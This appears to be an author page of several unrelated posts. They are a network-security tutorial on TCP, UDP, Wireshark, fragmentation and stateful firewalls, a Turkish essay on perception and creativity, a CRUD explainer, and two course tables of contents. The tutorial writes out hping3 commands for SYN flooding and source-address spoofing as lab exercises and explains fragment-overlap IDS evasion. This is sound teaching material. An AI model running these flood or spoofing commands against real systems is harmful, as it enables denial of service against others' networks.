The connection teardown process uses FIN segments. To close a connection, one side sends a FIN, the other acknowledges it with an ACK, then the other side sends its own FIN, and the first side acknowledges it. This four-step process allows both sides to independently close their half of the connection. After sending the final ACK, the active closer enters a TIME_WAIT state, lasting twice the Maximum Segment Lifetime (typically 60 to 120 seconds). The purpose of TIME_WAIT is to handle the case where the final ACK is lost — if it was lost, the other side will retransmit its FIN, and the TIME_WAIT socket can respond with another ACK. TIME_WAIT also prevents delayed duplicate segments from a previous connection from being mistakenly accepted by a new connection using the same port pair. On servers handling many short-lived connections, large numbers of TIME_WAIT sockets can be a scalability issue.
A RST segment immediately terminates a TCP connection without the graceful FIN exchange. The receiving side must discard all buffered data. RST segments are used by firewalls and intrusion prevention systems to terminate connections — a technique called TCP RST injection. Tools like Snort, when configured in inline mode, can inject RST segments to both sides of a detected attack connection, terminating it before the malicious payload reaches its destination. The Great Firewall of China famously uses TCP RST injection to terminate connections to censored resources.

UDP: Speed Over Reliability, and Why That Matters
The User Datagram Protocol provides a minimal transport service. There is no connection establishment, no sequencing, no acknowledgment, no flow control, and no congestion control. A UDP datagram is just delivered — or not.
The UDP header is eight bytes: two bytes for source port, two bytes for destination port, two bytes for the total length of the datagram (header plus payload), and two bytes for checksum. That is it.
UDP is used by services where low latency is more important than reliability (DNS, streaming media, online gaming, VoIP) and by services that implement their own reliability mechanisms at the application layer (QUIC, DTLS). DNS primarily uses UDP for queries, switching to TCP only for responses that exceed 512 bytes (though the EDNS extension raises this limit).
From a security perspective, UDP's connectionless nature means that source IP spoofing is straightforward — there is no handshake to complete. This is why UDP is the preferred protocol for amplification attacks. The attacker sends a small UDP request with the victim's IP as the source. A legitimate server sends a large response to the victim. No three-way handshake is needed, so the spoofing is not detected until the response goes out.
UDP port scanning is more complex than TCP port scanning because there is no standard "open" response. When a UDP packet is sent to an open port, the application may respond, or it may not. When sent to a closed port, the kernel typically sends back an ICMP Port Unreachable message. But firewalls often block these ICMP responses. So UDP scanning is slow, unreliable, and often generates false positives. Nmap's UDP scan (-sU) works by sending UDP packets to each port and waiting for either an application response (indicating open) or an ICMP port unreachable (indicating closed). No response means "open or filtered."

What Wireshark Actually Shows You (And How to Read It)
Wireshark is the de facto standard tool for packet capture and protocol analysis. Understanding how to read its output at a deep level is a fundamental skill.
When you capture traffic with Wireshark, each row in the packet list corresponds to one packet. The columns show the time (relative to the first packet by default), source IP, destination IP, protocol, length, and a brief info string. The Info column is generated by Wireshark's protocol dissectors and summarizes the key information in the packet.
When you click on a packet, the packet details pane shows the full dissection of every protocol layer. You can expand each layer to see individual fields. And the packet bytes pane at the bottom shows the raw hex and ASCII representation of the entire packet. Selecting a field in the details pane highlights the corresponding bytes in the hex dump. This correspondence between fields and bytes is how you build the connection between abstract protocol knowledge and concrete wire-level data.
Learning to read Wireshark effectively requires practice with filters. Wireshark's display filters are powerful and specific. tcp.flags.syn == 1 && tcp.flags.ack == 0 filters for SYN packets only — the opening of TCP connections. ip.src == 192.168.1.100 filters for packets from a specific source. tcp.stream eq 5 shows all packets belonging to the fifth TCP stream. http.request.method == "POST" shows only HTTP POST requests. !(arp or icmp or dns) hides common background noise. The ability to write precise display filters is what separates someone who can open Wireshark from someone who can actually investigate an incident with it.
Capture filters (BPF syntax, set before capture begins) and display filters (Wireshark syntax, set after capture) are different languages with similar but not identical functionality. Capture filters use BPF syntax: tcp port 80, host 192.168.1.1, not arp. Display filters are more expressive: tcp.port == 80, ip.addr == 192.168.1.1, not arp.
For practical exercises, start by capturing your own traffic as you browse the web. Find the TCP handshake for an HTTPS connection. Observe the TLS handshake that follows. Notice that the application data is encrypted but you can still see the IP addresses, ports, packet sizes, and timing. This metadata — even without the payload — reveals a great deal about the communication patterns, which is why traffic analysis remains effective even against encrypted traffic.
Then deliberately generate different types of traffic. Run an Nmap SYN scan against a local VM and capture it. You will see the SYN packets going out, the SYN-ACK responses from open ports, and the RST responses (or no response) from closed or filtered ports. Notice that Nmap immediately sends a RST after receiving the SYN-ACK — it is completing the scan without establishing a full connection. This is the defining characteristic of a SYN scan (stealth scan): it does not appear in the server's connection logs because the connection was never fully established (though modern systems often log partial connections).

IP Fragmentation: A Deeper Look at an Underappreciated Attack Surface
IP fragmentation occurs when a datagram is too large to traverse a link in one piece. The Maximum Transmission Unit (MTU) defines the maximum size of a frame on a given link — 1500 bytes for standard Ethernet, 1492 for PPPoE, 9000 for jumbo frames. When a router needs to forward a packet larger than the MTU of the outgoing link (and the DF bit is not set), it fragments the packet into pieces that fit.
Each fragment carries the original IP Identification value, the Fragment Offset indicating where in the original datagram it belongs, and the More Fragments flag (set on all fragments except the last). The receiving host must reassemble all fragments before passing the datagram to the transport layer.
Fragmentation has been the source of numerous security vulnerabilities, and understanding why requires understanding the reassembly process. The receiving host maintains a reassembly buffer for each partially received datagram, identified by the source IP, destination IP, Protocol, and Identification tuple. When a fragment arrives, it is placed in the buffer according to its offset. When the last fragment (MF=0) arrives and all offsets are filled in, the datagram is reassembled and passed up the stack.
The security problems arise from several sources. First, the reassembly process is complex, and complex code has bugs. Historical vulnerabilities like Teardrop exploited integer overflows in the reassembly code by sending fragments with overlapping offsets that caused the kernel to calculate a negative or very large copy length, resulting in buffer overflows.
Second, fragmentation complicates inspection by security devices. A packet filter or intrusion detection system operating at the IP layer sees individual fragments, not complete datagrams. The transport layer header — containing source and destination ports, TCP flags, and the beginning of the application payload — is only in the first fragment. Subsequent fragments contain only IP headers and payload data. A firewall that makes filtering decisions based on ports or TCP flags cannot apply those decisions to subsequent fragments, because those fragments do not contain the port information.
Attackers have exploited this by placing attack payloads in later fragments. The attack signature only appears when the fragments are reassembled, but the security device may not perform reassembly. Fragment overlap attacks take this further: send one set of fragments that looks benign to the IDS, then send overlapping fragments with an actual attack payload. The IDS sees the benign content and allows everything through. The target host has a different policy for resolving overlapping fragments (using the later data, for example, while the IDS uses the earlier data) and ends up with the attack payload after reassembly.
Modern IPSes and next-generation firewalls typically perform fragment reassembly before inspection to address this. But fragment reassembly requires memory and CPU resources proportional to the number of concurrent incomplete datagrams, which creates a resource exhaustion vulnerability: an attacker can send many first fragments and never send the remaining fragments, causing the reassembly buffers to fill up. Systems mitigate this with timers that expire incomplete reassembly attempts.

TCP State Tracking and Stateful Firewalls
Early packet filters (and still many simple ACLs on routers) make filtering decisions on each packet independently, based solely on the headers of that packet. They do not track the state of TCP connections. This means that to allow TCP traffic in both directions, you must write rules permitting traffic from both sides. To allow outbound web browsing (TCP to port 80), you need a rule allowing traffic from internal hosts to external port 80, and a rule allowing traffic from external port 80 to internal hosts (the return traffic). If an attacker crafts a packet from an external host with a source port of 80 and appropriate flags, it might be allowed through the stateless filter even though it is not part of any legitimate connection.
Stateful firewalls maintain a connection tracking table that records the state of every TCP connection passing through. When a SYN packet is allowed through, an entry is created in the connection table. When the SYN-ACK and ACK follow, the entry is updated. When data flows, the sequence numbers are tracked. When the FIN and final ACK are exchanged, the entry is removed. Subsequent packets are only allowed if they match an existing entry in the connection table. This means that crafted packets from external attackers cannot be sent to internal hosts unless they are part of an established connection.
Connection tracking tables are stored in memory and have finite capacity. This is why SYN flood attacks are effective even against stateful firewalls: each SYN packet causes an entry to be created in the firewall's connection table, and if the table fills up, no new connections can be established.
Linux's netfilter (the kernel's packet filtering framework) maintains a connection tracking table that can be viewed with conntrack -L. The table shows each tracked connection with its state: SYN_SENT, SYN_RECV, ESTABLISHED, FIN_WAIT, CLOSE_WAIT, TIME_WAIT. Understanding this table is valuable for debugging firewall issues and for understanding what connections are currently active on a system.

Practical Skills: Building This Knowledge
Reading about protocol fields is necessary but not sufficient. You need to actually work with packets. Here is a structured set of practical exercises that will cement this knowledge.
Start by installing Wireshark and setting up a small lab — even two virtual machines on your own computer are sufficient. Capture traffic between them as you do various things: browse a website, make an SSH connection, run an Nmap scan. Look at every packet. Expand every header. Find the fields we discussed and confirm that they contain what you expect.
Practice writing Wireshark display filters until they feel natural. Given a capture file with thousands of packets, you should be able to immediately write a filter that shows only the traffic you care about.
Learn to use tcpdump, which is the command-line equivalent of Wireshark. In real incident response scenarios, you often cannot run a GUI application on a server — you need tcpdump. The basic syntax is tcpdump -i eth0 -w capture.pcap to capture all traffic on interface eth0 and write it to a file, and tcpdump -r capture.pcap to read a previously captured file. Combine with BPF filters: tcpdump -i eth0 'tcp port 80 and host 192.168.1.100'.
Practice with Scapy, a Python library that allows you to craft, send, receive, and analyze packets at an extremely low level. With Scapy, you can construct packets field by field, send them, and inspect the responses. This is invaluable for understanding protocol behavior and for testing.
A basic Scapy example that sends a SYN and captures the response looks like this: you create an IP layer with the destination address, a TCP layer with the target port and the SYN flag set, stack them together, and send them with the sr1 function (send and receive one response). The response tells you whether the port is open (SYN-ACK) or closed (RST) or filtered (no response). This is mechanically what Nmap's SYN scan does, but by doing it yourself in Scapy you understand exactly what is happening.
Practice with hping3, a command-line tool for crafting TCP/IP packets. hping3 -S -p 80 target sends SYN packets to port 80. hping3 --flood -S -p 80 target sends SYN packets as fast as possible, simulating a SYN flood. hping3 -a spoofed_ip -S -p 80 target sends SYN packets with a spoofed source address. These operations, performed in a controlled lab environment, teach you what various attacks look like at the packet level.
Read RFC 793 (TCP) and RFC 791 (IP). They are long and technical, but they are the authoritative source. When you encounter behavior that surprises you, the RFC is where you find the answer.

From Packets to Security Operations
Everything we have covered directly translates to security operations. When a SOC analyst looks at an alert, they are looking at metadata derived from network packets. When a penetration tester runs a port scan, they are sending crafted packets and interpreting responses. When a malware analyst examines network traffic from a sandbox, they are reading packet captures. When an incident responder tries to understand what an attacker did on a network, they are correlating flow records and packet captures.
A network intrusion detection system like Snort or Suricata applies rules against packet streams. Understanding how those rules work — matching on specific bytes at specific offsets in specific protocol headers — requires exactly the knowledge in this article. A rule that matches TCP traffic with the SYN flag set to a specific destination port is expressing a condition on the flags field of the TCP header and the destination port field, which you now know exactly where to find.
A web application firewall that inspects HTTP traffic is operating at the application layer but still relies on the lower layers to deliver the traffic to it. Understanding how traffic arrives — through TCP streams assembled from IP packets, which were carried in Ethernet frames — helps you understand the attack surface of the WAF itself.
Encrypted traffic analysis (ETA) is a growing field that extracts security-relevant information from TLS-encrypted traffic without decrypting it. The techniques rely on metadata that is visible even in encrypted sessions: the sizes of packets, their timing, the sequence of packet sizes and directions (the traffic flow's "fingerprint"), the TLS handshake parameters (cipher suites, certificate information, client hello characteristics). All of this metadata is in the lower layers — the IP and TCP headers — which are not encrypted. This is why TLS does not make traffic fully opaque to a sophisticated observer.

What Comes Next
This article has given you the packet-level foundation that everything else in network security is built on. You now understand how bits become frames, how frames become packets, how packets become segments, and how every field in every header can be inspected, manipulated, or exploited.
The next article in this series goes one layer up: DNS. The Domain Name System is the phone book of the internet, and it is also one of the most abused protocols in both offense and defense. DNS-based attacks — cache poisoning, DNS hijacking, DNS tunneling, domain generation algorithms, fast flux — are pervasive in modern malware and advanced persistent threat operations. And DNS-based defenses — DNS filtering, RPZ (Response Policy Zones), passive DNS, DNS anomaly detection — are some of the most cost-effective security controls available. Understanding DNS at a deep level requires exactly the foundation you have now: knowing how a DNS query travels from your machine to a resolver, how the response comes back, and what can go wrong (or be made to go wrong) at every step.
The packet is where security begins. Everything else is built on top of it.

YANILSAMA MAKİNESİ

Rençber AKMAN — Sat, 25 Apr 2026 10:35:54 +0000

Gerçekliği inşa eden zihnin içindeki yabancıya dair
Şu an gözlerin bu satırları tarıyor. Ama görmüyor — tanıyor. Ve bu fark, her şeyi değiştirir.

I
Birinci Hareket
Tahmin Makinesi:
Gerçekliğin İnşası
Şu an okuduğun bu cümle, beynine ulaşmadan önce zaten yorumlandı. Gözünün retinaları fotonları elektrik sinyaline çevirdi. O sinyal optik sinir boyunca yolculuğa çıktı. Görsel korteks onu işledi. Ve sonra — sadece sonra — "anlamak" dediğin şey gerçekleşti.

Ama o "anlama" bile bir yanılsamadır.

Nörobilim Notu
Beyin, duyu organlarından gelen ham veriyi beklemez — sürekli bir "dünyada sırada ne var" modeli üretir. Nörobilimciler buna predictive processing (tahminsel işleme) diyor. Gözlerimizden, kulaklarımızdan gelen sinyal, bu tahminleri düzeltmek için kullanılır. Yani gerçekliği algılamıyorsun. Gerçekliği üretiyorsun — ve sinyaller sadece seni düzeltiyor.

Sen bir alıcı değilsin. Sen bir tahmin makinesisin. Ve bu, her şeyi değiştirir.

Platon'un mağarasını bilirsin — zincirlenmiş mahkumlar, duvara yansıyan gölgeleri gerçek sanır. Ama Platon o metaforu yazarken bilmiyordu: mağara dışarıda değil. Mağara zihnin içinde.

Bir şey gördüğünde "ağaç" demiyorsun aslında. Diyorsun ki: "Bu, daha önce ağaç dediğim şeye benziyor." Tüm yaşamın bu. Benzetme. Tanıma. Tekrar. Ve o tekrarın içinde — yavaşça, fark etmeden — kayboluyorsun.

O süzgeci kim kurdu? Evrim. Kültür. Ailen. İlk aşkın.
İlk hayal kırıklığın.
Peki o süzgecin içinden baktığında buna "gerçek" diyorsun. Ama şunu sormak gerekiyor: Gerçek olan şeyi mi görüyorsun, yoksa görebileceğin şeyi mi? Cevap acı verici biçimde basittir: İkisi nadiren aynıdır.

Antonio Damasio'nun somatic marker teorisini düşün. Her karar, her "mantıklı" yargı — bunların hepsi, bedenin geçmişteki deneyimlerinin damgasını taşır. "Aklın" dediğin şey, geçmişin beden hafızasının sese gelmiş halidir. Özgür irade mi? Belki. Ama o iradenin kullandığı araçlar, miras alınmış.

Şimdi bir an dur. İçinde yükselen "Ben zaten bunu biliyorum" sesi — o ses de bu sistemin parçası. Savunma mekanizması, bilgiye dönüşmüş. Ego, aydınlanma kıyafeti giymiş. Gerçek soru şu: Seni sarsmayı başaran son fikir ne zamandı?

···
II
İkinci Hareket
Sürünün Sesi,
Bireyin Sessizliği
1950'lerde Solomon Asch bir deney yaptı. Deneklere açıkça doğru cevabı olan bir soru soruldu. Ama odadaki diğer kişiler — ki hepsi araştırmacının ajanıydı — kasıtlı olarak yanlış cevap verdi.

Deneklerin yüzde yetmiş beşi, en az bir kez, kendi gözlerinin söylediğinin tersini söyledi. Sadece sosyal baskıdan.

Beyin ve Sosyal Ağrı
Beyin, sosyal dışlanmayı fiziksel acı gibi işler. Bu bir metafor değil — nöroimaging çalışmalarıyla kanıtlanmış gerçek. Anterior cingulate cortex, hem kırık kemikde hem de sosyal reddedilmede aynı şekilde aktive olur. Yani sürüden dışlanmak, beynin için gerçekten bir fiziksel acıdır.

Evrim seni topluluğa bağımlı yaptı — çünkü tek başına Pleistosen savannasında hayatta kalamazdın. Ama o bağımlılığı 21. yüzyıla taşıdın. Artık aslan yoktu, sosyal medya vardı. Artık kabile yoktu, ofis hiyerarşisi vardı. Ve beyin her ikisinde de aynı hayatta kalma protokolünü çalıştırdı:

01 —
Uyum. Grubun normlarına yaklaş. Farklı olmak tehlikelidir.
02 —
Onay al. Beğeni, yorum, gülen yüz emojisi — hepsi aynı nöral ödül devresini tetikliyor.
03 —
Dışlanma. Bu ihtimal bile kortizol salgılatıyor. Savunma modu açılıyor.
Buna "başarı" diyorsun. Ama bu, evrimsel bir refleksin modern elbisesidir.

Sürü artık fark edilemiyor. Eski sürü koyundu — aynı kıyafetle, aynı fikirle, aynı rutinle. Yeni sürü sofistike. Kitap okuyor. Podcast dinliyor. Farkındalık içerikleri tüketiyor. Kendini sorguluyor — ama sorgulama da standartlaştı.

Yeni Konformizm Üzerine
"Konfor zonumdan çıktım" diyen herkes, konfor zonu çıkışının kendine özgü konfor zonunu inşa etmiş durumda. Bu paradokstan çıkış, daha fazla içerik tüketmekle gelmiyor. Daha az tüketmekle, daha uzun sessizlikle — ve o sessizlikte yükselen rahatsızlığa katlanmakla geliyor.

···
III
Üçüncü Hareket
Beyin Parametrelerinin
Dışında
Nöronların arasındaki boşluğa sinaps deniyor. Ve şu an bu kelimeyi okurken, beyninde yeni bir sinaptik bağlantı adayı oluştu. Buna nöroplastisite deniyor — beyin statik bir organ değil, her deneyimle yeniden şekillenen bir yapı.

Ama şunu bilmek gerekiyor: Nöroplastisite çaba ister. Beyni değiştiren, bilgi değil — deneyim. Sadece okumak yetmez. Yeni bir düşünceyi yaşamak gerekiyor. Onu davranışa, karara, riske dönüştürmek gerekiyor.

Bu metni okumak seni değiştirmez.
Bu metni okuduktan sonra ne yaptığın değiştirir.
Thomas Kuhn "paradigma kayması"nı şöyle anlatır: Bilim yavaş birikimle değil, kırılmalarla ilerler. Anomaliler birikmeden önce eski paradigma direnç gösterir. Sonra bir kırılma anı gelir. Ve artık eski gözle bakılamaz. Senin için de böyle çalışıyor.

İçinde, şu an, birikmekte olan anomaliler var. Uymayan şeyler. Huzursuz eden sorular. Cevabını ertelediğin gerçekler. Ve o anomalileri bastırmak için ne kadar enerji harcıyorsun?

İnsan Zihni ve Belirsizlik
Beyin, belirsizliği tehdit olarak algılar. "Bilmiyorum" demek, nöronal bir alarm sinyalidir. Çünkü Pleistosen'de bilmemek ölüm demekti. O hız gerekliydi. Ama şimdi: Hemen dolduruyoruz. Hemen etiketliyoruz. Ve her etiketlediğimizde, bir şeyin gerçek karmaşıklığını öldürüyoruz.

···
IV
Dördüncü Hareket
Zaman, Ölüm ve
Yaratmanın Aciliyeti
Epiktetos dedi ki: "Senden alınamayacak şeyi hiçbir şey senden alamaz." Ama Epiktetos modern nörobilimi bilmiyordu: Ego, korku karşısında kendini bile feda edebilir. Bence gerçek Stoacılık, duyarsızlaşmak değil. Gerçek Stoacılık, ölümlülüğünü tam olarak hissetmek — ve o hissin içinde yine de hareket etmek.

"Memento Mori" — ölümü hatırla. Bu bir karamsarlık değil. Bu bir önceliklendirme aracı. Şunu dene: Şu an yapabileceğin ama yapmadığın en önemli şey nedir? Ve şimdi sor: Neden yapmıyorsun?

Çoğunlukla cevap şu olur: "Zaman yok." Ya da "Henüz hazır değilim." Ya da "Sonra yapacağım." Ama "sonra" dediğin an, beynin ürettiği en büyük kurgudur.

Zaman doğrusal değil. Zaman, dikkatin gittiği yerdedir. Ve dikkat en değerli kaynaktır — yenilenemeyen, satın alınamayan, geri alınamayan tek kaynak.

Varoluş Üzerine
Heidegger buna Dasein dedi — orada olmak, şimdide var olmak. Varoluşun özü nedir? Ölümlülüktür. Ve ölümlülüğü görmezden gelen her proje, varoluştan kaçıştır. Sen şu an kaçıyor musun? Belki büyük bir kariyer hedefinin ardında. Belki konfor rutininin içinde. Belki sürekli tüketerek — içerik, ilişki, deneyim — ama hiçbirinde tam olmadan.

Tam olmak ürküntü verir. Çünkü tam olunca ne istediğin de netleşir. Netleşince sorumluluk başlar. Ve sorumluluk, özgürlüğün ağırlığıdır.

···
V
Beşinci Hareket
Sibernetik Benlik:
İnsanın Bittiği Yerde
Teknoloji, insanlığın dışsal sinir sistemidir. Yazı icat edildiğinde, hafıza artık sadece beyinde değildi. Matbaa icat edildiğinde, fikir artık ölümlü değildi. İnternet ortaya çıktığında, bireysel zihin kolektif bir ağın düğümü haline geldi.

Ve şu an yapay zeka ile yaşadığımız şey, bu serinin en radikal adımı: Düşünme kapasitesi, biyolojik sınırı aşıyor.

A —
Birinci yorum: İnsanlık geçersizleşiyor. Makineler daha hızlı düşünüyor, daha çok biliyor, daha az hata yapıyor. İnsan fazlalık.
B —
İkinci yorum: İnsanlık için ilk kez, biyolojik kısıtların ötesine geçme imkânı var. Ve bu altyapı üzerinde, insan olmak ne anlama geliyor?
İkinci yorumun doğru olduğuna inanıyorum. Ama koşullu. Eğer insanın özgün katkısı merak, yaratıcılık ve empati ise — bunlar makinenin yapamadığı şeyler olmaya devam edecek. Eğer insan sadece bilgi işleme ve tekrar üretme rolüne razı olursa — o zaman evet, geçersizleşme gerçek.

Makine olasılık dağılımından en olası çıktıyı üretiyor.
İnsan ise olasılık dağılımını kırabilecek tek varlık.
Anomali üretebilen, kurala meydan okuyabilen, mantığın bittiği yerden başlayabilen — sadece insan. Ve işte burada yaratıcılık, bir yetenek olmaktan çıkıp varoluşsal bir zorunluluk haline geliyor.

···
VI
Altıncı Hareket
Yaratmanın
Gerçek Kaynağı
Bütün bu yolculuktan sonra asıl soruya geliyoruz: Yaratıcılık nedir? "Bir şeyler icat etmek" değil. "Yetenek" hiç değil. "İlham beklemek" kesinlikle değil.

Yaratıcılık şudur: Evrende mevcut olan malzemeyi, daha önce hiç olmayan bir kombinasyona getirmek.

Kozmik Perspektif
Sen de evrenden yapılmışsın. Atomların 13.8 milyar yıllık yolculuğunun bir ürünüsün. Hidrojenden yıldıza. Yıldızdan karbona. Karbondan DNA'ya. DNA'dan nörona. Nörondan şu an okuduğun bu cümleye. Evren, maddeyi kullanarak kendini anlıyor. Sen o sürecin en son, en karmaşık, en kırılgan halkasısın.

Yarattığın her şey — bir şiir, bir girişim, bir çocuk için söylenen bir ninni, bir denklem, bir tablo — evrende daha önce hiç olmamış bir yapıdır. Bu mucizedir. Günlük olan, sıradan olan, "herkes yapıyor" olan bir mucize.

Picasso şöyle demişti: "Her çocuk bir sanatçıdır. Sorun büyürken sanatçı olmaya devam etmektir." Çocukluk kaybı nedir gerçekte? Yargılanma korkusunun öğrenilmesidir.

Doğduğunda "bu saçma görünüyor mu?" diye düşünmüyordun. Çiziyordun. Hayal ediyordun. Soruları cevaplardan daha ilginç buluyordun. Sonra biri güldü. Ya da biri "olmaz" dedi. Ya da not sistemi, doğruyu yanlıştan ayırmayı, hayal gücünü ölçülü tutmayı öğretti.

Ve yaratmanın o ilkel, korkusuz hali yavaşça içe döndü. Ama hala orada. Unutulmuş, bastırılmış, "pratik değil" diye ötelenmiş — ama hala orada.

Yaratıcılık ve Özgünlük Üzerine
Ve evren seni kullanarak kendini anlıyor. Sen bunu, başkalarının ne düşüneceğini merak ederek her sabah askıya alıyorsun.

Son · Geri Dön Ama Aynı Olmadan
Şu an gözlerin bu son bölümü tarıyor.

Bu metni okuduğun süre içinde, beyninde yüzlerce nöron ateşlendi, yeni sinaptik bağlantı adayları oluştu. Bazıları kalıcı olacak — eğer bu fikirleri yaşantıya dönüştürürsen. Çoğu kaybolacak — eğer bir sonraki bildirime geçersen.

Karar senin.

Sana bir manifesto vermeyeceğim. Sana bir sistem önermeyeceğim. Sana "şu adımları at" demeyeceğim. Çünkü bunlar, düşünmeyi dış kaynaklı hale getiriyor. Ve dış kaynaklı düşünce, sürünün rafine edilmiş halidir.

Sana tek bir şey söyleyeyim:

Bugün, içinde en uzun süredir beklettğin soruyu sor.

Cevabını bilmeden sor.
Cevabı rahatsız edecek olsa bile sor.
Cevabı seni değiştirecek olsa bile sor.

Çünkü değişmekten korkan insan yaşamıyor — zaman içinde donmuş, güvenli bir noktada bekliyor.

Ve o bekleme, hayatın geçtiği yerdir.

🔍⭐What are CRUD operations? (Create, Read, Update, Delete)

Rençber AKMAN — Thu, 04 Sep 2025 10:21:15 +0000

CRUD refers to the four basic operations that can be performed on a database or an application: Create, Read, Update, Delete. These operations form the foundation of almost all software and data management systems.

Create (Oluştur) ✨ Used to add new data. 📌 Example: When a user fills out and submits a registration form, this operation adds a new user to the database.

Read (Oku) 📖 Used to read or retrieve existing data. 📌 Example: Running a query to view the list of users is a Read operation.

Update (Güncelle) 🔄 Used to modify existing data. 📌 Example: Changing a user's email address is an Update operation.

Delete (Sil) 🗑️ Used to remove existing data from the system. 📌 Example: Permanently deleting a user account is a Delete operation.

✅ In short:

Create → Add new data

Read → Retrieve/view data

Update → Modify existing data

Delete → Remove data

💡 Pro Tip: CRUD operations are often mapped to HTTP methods:

Create → POST

Read → GET

Update → PUT/PATCH

Delete → DELETE

This way, both database and REST API logic are built upon the same core principles.

DEV Community: Rençber AKMAN

Stage 1.4 — IP Addressing and Subnetting

From Zero to Cybersecurity Professional | Complete Roadmap Series

Table of Contents

1. Why IP Addressing Is a Security Skill, Not Just a Network Skill

2. IPv4 Structure — Octets, Binary, and Everything Underneath

2.1 The Physical Reality of an IP Address

2.2 Binary Conversion — The Foundation

2.3 Why Binary Matters for Security

3. Address Classes — A, B, C and Why They Still Matter

3.1 The Historical Design

3.2 Why Classes Still Matter Despite CIDR

4. Public vs Private IP — The Trust Boundary

4.1 The RFC 1918 Private Ranges

4.2 Other Special Ranges Every Security Professional Must Know

4.3 The Cloud Metadata Service — Critical SSRF Target

5. CIDR Notation — The Modern Standard

5.1 What CIDR Is and Why It Replaced Classes

5.2 Prefix Length to Subnet Mask Conversion

5.3 CIDR in Security Operations

6. Subnet Mask Calculation — From Binary to Practice

6.1 What the Subnet Mask Does

6.2 Finding Network and Broadcast Addresses

7. Subnetting — Designing and Breaking Networks

7.1 Why Subnetting Is a Security Design Tool

7.2 Subnetting a Network — The Complete Method

7.3 Subnetting in Attack Context

8. VLSM — Variable Length Subnet Masking

8.1 What VLSM Solves

8.2 VLSM Design Process

8.3 VLSM and Security Architecture

9. NAT — Network Address Translation

9.1 How NAT Works Internally

9.2 NAT Types

9.3 NAT Security Implications

10. PAT — Port Address Translation

10.1 How PAT Differs from NAT

10.2 Port Exhaustion

11. DHCP — How IP Addresses Are Assigned

11.1 The DORA Process

11.2 DHCP Attacks

12. DNS — How Names Become Addresses

12.1 The DNS Hierarchy

12.2 DNS Resolution — The Complete Process

12.3 DNS Security Mechanisms

12.4 DNS Attack Techniques

13. DNS Record Types — The Full Map

13.1 Essential DNS Record Types

13.2 Active Directory and DNS

13.3 Email Security DNS Records In Depth

14. IP Addressing in OT/ICS Environments

14.1 Addressing Challenges Unique to OT

14.2 DHCP in OT Environments

14.3 DNS in OT Environments

15. Hands-On Exercises

Exercise 1: Binary and Subnetting Mastery (45 minutes)

Exercise 2: DNS Reconnaissance (45 minutes)

Exercise 3: DHCP Analysis (30 minutes)

Exercise 4: NAT and IP Masquerading (30 minutes)

Exercise 5: Complete Network Audit Script

16. Module Summary

Stage 1.3 — TCP/IP Model

From Zero to Cybersecurity Professional | Complete Roadmap Series

Table of Contents

1. Why TCP/IP Is the Foundation of Every Attack and Defence

2. TCP/IP Model — Four Layers, One Internet

2.1 The Model

2.2 OSI vs TCP/IP — The Mapping Every Professional Needs

2.3 The Internet Layer — The Core of TCP/IP

3. TCP vs UDP — The Fundamental Choice

3.1 The Design Philosophy

3.2 TCP — Transmission Control Protocol

3.3 UDP — User Datagram Protocol

3.4 TCP vs UDP Security Comparison

4. TCP Three-Way Handshake — Deep Dive

4.1 The Mechanics

4.2 ISN — Initial Sequence Number Security

4.3 SYN Flood Attack — Exploiting the Handshake State

4.4 Port Scanning — Abusing the Handshake

5. TCP Four-Way Termination